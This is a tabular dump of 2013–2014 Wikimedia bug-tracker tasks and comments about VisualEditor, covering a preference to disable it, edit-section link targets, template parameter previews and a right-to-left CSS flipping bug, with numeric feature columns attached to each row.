Yep.",,,1373559883,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.533333333333333,0.8666666666666667,"(In reply to comment #3)
QUOTE
QUOTE

Yep."
243292,User preference to disable VisualEditor,"This will not be a request only for English Wikipedia any longer, as soon as the VE is activated by default on Wikipedias in other languages. Keep that in mind!",,,1373557859,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,3.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,18.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9696969696969697,0.9393939393939394,"This will not be a request only for English Wikipedia any longer, as soon as the VE is activated by default on Wikipedias in other languages. Keep that in mind!"
243284,User preference to disable VisualEditor,"This is actually a site request for the English Wikipedia right now, as this preference is enabled everywhere else right now. Changing Product/Component accordingly.",,,1373557628,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,21.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.896551724137931,0.8620689655172413,"This is actually a site request for the English Wikipedia right now, as this preference is enabled everywhere else right now. Changing Product/Component accordingly."
243275,User preference to disable VisualEditor,*** Bug 51179 has been marked as a duplicate of this bug. ***,,,1373557556,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51179 has been marked as a duplicate of this bug. ***
243263,User preference to disable VisualEditor,"Created attachment 12827
en.wp temporary workaround

Since I doubt this will get fixed any time soon, I have implemented a change to a label, to redirect users with words from on preferences tab to another.

**Attached**: {F11458}",,,1373534882,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,1,,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,12.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,14.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.94,0.82,"Created attachment 12827
en.wp temporary workaround

Since I doubt this will get fixed any time soon, I have implemented a change to a label, to redirect users with words from on preferences tab to another.

**Attached**: {F11458}"
243254,User preference to disable VisualEditor,"This should be in the obvious place, in the editing tab of user preferences, not a gadget.",,,1373454425,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,5.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.7,0.85,"This should be in the obvious place, in the editing tab of user preferences, not a gadget."
243247,User preference to disable VisualEditor,"(Quote from comment #0)
> The gadget isn't perfect, as the tab might appear for short time before it is
> removed again, and has to updated when VE integration changes.",,,1373357086,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.909090909090909,0.8181818181818182,"(Quote from comment #0)
QUOTE
QUOTE"
243240,User preference to disable VisualEditor,"To disable: Preferences > Gadgets > Editing (section) > checkmark for ""Remove VisualEditor from the user interface"" > Save

This is probably mentioned on http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback",,,1373280320,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2lqrwar67hw6qvy4f5kh,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,29.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,13.0,10.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.32258064516129,0.8709677419354839,"To disable: Preferences > Gadgets > Editing (section) > checkmark for ""Remove VisualEditor from the user interface"" > Save

This is probably mentioned on URL"
52925,"VisualEditor: Edit section links below a diff should point to the rev shown, not the (older) rev the diff compares against","See: https://en.wikipedia.org/w/index.php?title=New%20Zealand%20English&diff=0&oldid=123

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: https://en.wikipedia.org/w/index.php?title=New%20Zealand%20English&diff=0&oldid=123",Medium,50.0,1373273160,1373328454.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-4qpkfgh5ks6gaaj22qxs,task_description,resolved,True,c1,3,True,False,True,1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.103448275862069,0.3793103448275862,"See: URL

--------------------------
**Version**: unspecified
**Severity**: minor
**URL**: URL"
243061,"VisualEditor: Edit section links below a diff should point to the rev shown, not the (older) rev the diff compares against","This is now deployed and appears to be working as expected in production, according to my testing. Marking as fixed. Please re-open if you find otherwise.",,,1373328454,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4qpkfgh5ks6gaaj22qxs,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,22.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,6.0,22.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.03125,0.875,"This is now deployed and appears to be working as expected in production, according to my testing. Marking as fixed. Please re-open if you find otherwise."
243052,"VisualEditor: Edit section links below a diff should point to the rev shown, not the (older) rev the diff compares against","Change 72544 merged by jenkins-bot:
mw.ViewPageTarget.init: Only bind edit section links on view page

https://gerrit.wikimedia.org/r/72544",,,1373325416,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4qpkfgh5ks6gaaj22qxs,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.809523809523809,0.9523809523809523,"Change 72544 merged by jenkins-bot:
mw.ViewPageTarget.init: Only bind edit section links on view page

GERRIT_URL"
243045,"VisualEditor: Edit section links below a diff should point to the rev shown, not the (older) rev the diff compares against","Change 72544 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Don't bind edit section links on non-view page

https://gerrit.wikimedia.org/r/72544",,,1373303244,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4qpkfgh5ks6gaaj22qxs,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.068965517241379,0.9655172413793104,"Change 72544 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Don't bind edit section links on non-view page

GERRIT_URL"
243037,"VisualEditor: Edit section links below a diff should point to the rev shown, not the (older) rev the diff compares against","(In reply to comment #0)
> See:
> https://en.wikipedia.org/w/index.
> php?title=New%20Zealand%20English&diff=0&oldid=123

I *think* this will get fixed by gerrit 72070 - Timo?",,,1373301852,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4qpkfgh5ks6gaaj22qxs,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,0.0,7.0,0.0,3.0,10.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8620689655172415,0.8275862068965517,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

I *think* this will get fixed by gerrit 72070 - Timo?"
52916,"VisualEditor: Preview the result of the transclusion dialog whilst it's be edited (before ""Apply changes"")","Taken from English Wikipedia

***

[[Template:Convert]] is actually a good example of where TemplateData falls over and hits the ground. The meaning of the numbered parameters changes depending on how many of them there are and whether the entry is text or a number. For example, each of the following are valid:
{{convert|3.21|kg|lb}}
3.21 kilograms (7.1 lb)
{{convert|3.21|mi|3}}
3.21 miles (5.166 km)
{{convert|60|to|170|kg|lb}}
60 to 170 kilograms (130 to 370 lb)
{{convert|60|+/-|10|kg|lb}}
60 ± 10 kilograms (130 ± 22 lb)
{{convert|6|ft|5|in|m}}
6 feet 5 inches (1.96 m)
In those examples, parameter 3 is variously 1) The output unit, 2) The number of significant figures, 3) The upper limit of a range, 4) The measurement uncertainty, 5) The number of inches in foot-inches measurement. Now write a TemplateData description for parameter 3 (or 2 or 4 or 5)? Convert is used on 500,000+ pages, so it is not like it can simply be redesigned at this point. That said, if someone can see the values of each parameter in the transclusion window then it would still be pretty easy to figure out which one they need to edit. I would suggest that the transclusion editor needs a way to preview the parameter contents (even if just a snippet) without having to click on each parameter. Dragons flight (talk) 17:57, 5 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1373241780,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-77heb24pfspzzrzifyb6,task_description,open,True,c1,3,False,False,,1,,1.0,0.25,0.0,0.5,0.25,2.0,1.0,0.0,0.0,0.5,0.75,0.0,0.25,0.0,0.25,0.25,0.0,3.25,8.75,0.25,1.25,0.0,0.0,0.0,0.25,0.0,0.25,0.0,0.5,0.5,0.25,2.75,0.5,0.75,0.75,0.0,0.0,0.0,0.0,0.25,0.0,0.5,0.25,2.25,0.0,0.25,0.0,0.0,0.25,13.5,0.25,0.5,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.25,2.25,6.25,1.75,1.5,7.25,0.0,0.0,0.0,0.0,2.5,0.0,8.0,0.0,1.75,8.75,2.5,0.25,0.0,0.0,1.75,0.0,0.75,1.5,0.25,0.75,0.0,0.0,1.5,3.700617283950617,0.6697530864197531,"Taken from English Wikipedia

***

[[Template:Convert]] is actually a good example of where TemplateData falls over and hits the ground. The meaning of the numbered parameters changes depending on how many of them there are and whether the entry is text or a number. For example, each of the following are valid:
{{convert|3.21|kg|lb}}
3.21 kilograms (7.1 lb)
{{convert|3.21|mi|3}}
3.21 miles (5.166 km)
{{convert|60|to|170|kg|lb}}
60 to 170 kilograms (130 to 370 lb)
{{convert|60|+/-|10|kg|lb}}
60 ± 10 kilograms (130 ± 22 lb)
{{convert|6|ft|5|in|m}}
6 feet 5 inches (1.96 m)
In those examples, parameter 3 is variously 1) The output unit, 2) The number of significant figures, 3) The upper limit of a range, 4) The measurement uncertainty, 5) The number of inches in foot-inches measurement. Now write a TemplateData description for parameter 3 (or 2 or 4 or 5)? Convert is used on 500,000+ pages, so it is not like it can simply be redesigned at this point. That said, if someone can see the values of each parameter in the transclusion window then it would still be pretty easy to figure out which one they need to edit. I would suggest that the transclusion editor needs a way to preview the parameter contents (even if just a snippet) without having to click on each parameter. Dragons flight (talk) 17:57, 5 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
52910,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,"Reproduce:

1. Go to this page: https://he.wikipedia.org/wiki/%D7%A9%D7%9C%D7%9E%D7%94_%D7%A4%D7%99%D7%9C%D7%91%D7%A8 (Image is floating on the left)

2. Edit the page. The image is now stretched all across the content area, pushing the text down.

This is a 'no picture existing' template. In the Hebrew wiki: https://he.wikipedia.org/wiki/%D7%AA%D7%91%D7%A0%D7%99%D7%AA:%D7%90%D7%99%D7%9F_%D7%AA%D7%9E%D7%95%D7%A0%D7%94

It is probably an issue of the template code, but since it's used very often, it would be great if someone can help find the problem in this so we can fix the template itself.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50395",Medium,50.0,1373235720,1389062817.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-e3ikdtgrrubm3iohiewm,task_description,resolved,True,c1,3,False,False,False,0,,0.5,1.0,1.0,0.5,0.0,2.5,2.0,0.0,0.0,1.0,1.5,1.0,0.0,0.0,0.0,1.0,0.0,4.0,6.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,1.5,1.0,0.5,3.0,1.5,3.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,13.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.5,3.0,9.5,2.5,1.0,8.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5,6.5,1.0,0.0,1.0,0.0,3.5,0.0,0.0,1.0,1.0,1.5,0.0,0.0,1.0,3.3470982142857144,0.6769593253968254,"Reproduce:

1. Go to this page: URL (Image is floating on the left)

2. Edit the page. The image is now stretched all across the content area, pushing the text down.

This is a 'no picture existing' template. In the Hebrew wiki: URL

It is probably an issue of the template code, but since it's used very often, it would be great if someone can help find the problem in this so we can fix the template itself.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
242239,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,"Change 105639 merged by jenkins-bot:
CSSJanus: Account for attribute selectors in brace lookahead

https://gerrit.wikimedia.org/r/105639",,,1393088190,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-e3ikdtgrrubm3iohiewm,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.9,0.95,"Change 105639 merged by jenkins-bot:
CSSJanus: Account for attribute selectors in brace lookahead

GERRIT_URL"
242229,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,"Change 105640 merged by jenkins-bot:
Force CSSJanus to not flip image alignment classes

https://gerrit.wikimedia.org/r/105640",,,1389062756,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-e3ikdtgrrubm3iohiewm,task_subcomment,,True,c1,3,False,,,27,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.631578947368421,1.0,"Change 105640 merged by jenkins-bot:
Force CSSJanus to not flip image alignment classes

GERRIT_URL"
242225,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,"Change 105639 had a related patch set uploaded by Catrope:
Support attribute selectors in CSSJanus

https://gerrit.wikimedia.org/r/105639",,,1388994313,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-e3ikdtgrrubm3iohiewm,task_subcomment,,True,c1,3,False,,,27,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.105263157894737,1.0,"Change 105639 had a related patch set uploaded by Catrope:
Support attribute selectors in CSSJanus

GERRIT_URL"
242222,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,"Change 105640 had a related patch set uploaded by Mooeypoo:
Force CSSJanus to not flip image alignment classes

https://gerrit.wikimedia.org/r/105640",,,1388991749,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-e3ikdtgrrubm3iohiewm,task_subcomment,,True,c1,3,False,,,27,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.818181818181818,1.0,"Change 105640 had a related patch set uploaded by Mooeypoo:
Force CSSJanus to not flip image alignment classes

GERRIT_URL"
242219,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,"I found the remaining issue - since the page (and transclusion div) is set to dir='rtl' the ""mw-halign-left"" class float:left turned to float:right. 

This is quite odd, since these classes have /*@noflip*/ on them.",,,1388943484,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-e3ikdtgrrubm3iohiewm,task_subcomment,,True,c1,3,False,,,26,,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,0.0,2.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,4.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,10.0,8.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.5686274509803924,0.7647058823529411,"I found the remaining issue - since the page (and transclusion div) is set to dir='rtl' the ""mw-halign-left"" class float:left turned to float:right. 

This is quite odd, since these classes have /*@noflip*/ on them."
242215,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,"Ah! Partially. The image is no longer spread wide, but it floats the wrong way - it should float to the left, but it floats to the right inside VE.",,,1388941911,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-e3ikdtgrrubm3iohiewm,task_subcomment,,True,c1,3,False,,,26,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,11.0,0.0,6.0,11.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,9.0,9.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.3714285714285714,0.7428571428571429,"Ah! Partially. The image is no longer spread wide, but it floats the wrong way - it should float to the left, but it floats to the right inside VE."
